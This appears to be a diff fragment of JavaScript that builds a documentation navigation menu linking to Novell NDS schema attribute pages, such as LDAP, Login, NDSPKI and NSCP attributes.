+ var navElement = navigationLink("LDAP Server Idle Timeout ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1468.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Server List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1474.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP SSL Port ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1480.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Suffix ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1486.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP TCP Port ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1492.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP UDP Port ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1498.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:bindCatalog ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1516.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:bindCatalogUsage ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1522.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:keyMaterialName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1546.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:otherReferralUsage ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1552.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:searchCatalog ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1558.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:searchCatalogUsage ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1564.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:searchReferralUsage ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1570.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Locked By Intruder ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1576.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Lockout After Detection ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1582.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Allowed Time Map ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1588.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Disabled ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1594.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Expiration Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1600.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Grace Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1606.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Grace Remaining ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1612.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Intruder Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1618.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Intruder Attempts ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1624.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Intruder Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1630.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Intruder Reset Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1636.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Maximum Simultaneous ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1642.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Script ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1648.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Login Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1654.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Low Convergence Reset Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1660.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Low Convergence Sync Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1666.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Mailbox ID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1672.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Mailbox Location ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1678.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("manager ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3onljj.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("masvAuthorizedRange ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1684.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("masvDefaultRange ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1690.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("masvDomainPolicy ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1696.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("masvLabel ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1702.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("masvProposedLabel ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1708.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Member ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1726.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Members Of Template ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1732.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Memory ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1738.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Message Routing Group ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1744.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Message Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1750.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Messaging Database Location ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1756.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Messaging Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1762.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1768.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Minimum Account Balance ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1786.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("mobile ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3oojmc.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Certificate Chain ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4104.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Given Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4110.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Key File ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4116.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Key Material DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4122.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Keystore ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknqe.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Not After ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknpk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Not Before ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknpe.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Parent CA ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4128.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Parent CA DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4134.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Private Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4140.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Public Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4146.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Public Key Certificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4152.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:SD Key Cert ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknq2.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:SD Key ID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknq8.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:SD Key Server DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknpq.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:SD Key Struct ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknpw.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Subject Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4158.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Tree CA DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4164.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Trusted Root Certificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknp8.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:userCertificateInfo ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2oknp2.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Network Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4170.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Network Address Restriction ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4176.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("New Object's DS Rights ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4182.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("New Object's FS Rights ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4188.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("New Object's Self Rights ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4194.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NNS Domain ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4338.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Notify ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4374.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:administratorContactInfo ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4392.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:adminURL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4398.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailAccessDomain ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4404.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailAlternateAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4410.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailAutoReplyMode ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4416.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailAutoReplyText ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4422.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailDeliveryOption ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4428.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailForwardingAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4434.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailHost ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4440.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailMessageStore ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4446.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailProgramDeliveryInfo ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4452.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AmailQuota ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4458.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AnsLicenseEndTime ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4464.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AnsLicensedFor ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4470.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:AnsLicenseStartTime ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4476.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:employeeNumber ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4482.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:installationTimeStamp ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4488.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailRoutingAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2ixy4e.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:memberCertificateDesc ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4554.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mgrpRFC822mailmember ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4560.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:ngcomponentCIS ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4572.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsaclrole ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4578.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nscreator ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4584.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsflags ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4590.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsnewsACL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4614.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsprettyname ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4620.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:serverHostName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4626.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:serverProductName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4632.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:serverRoot ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4638.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:serverVersionNumber ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4644.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:subtreeACI ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4650.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4656.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Obituary ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4662.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Obituary Notify ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4668.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object Class ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4674.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Operator ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4680.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Other GUID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4686.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4692.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Owner ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4698.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Page Description Language ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4704.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("pager ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3oojmj.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
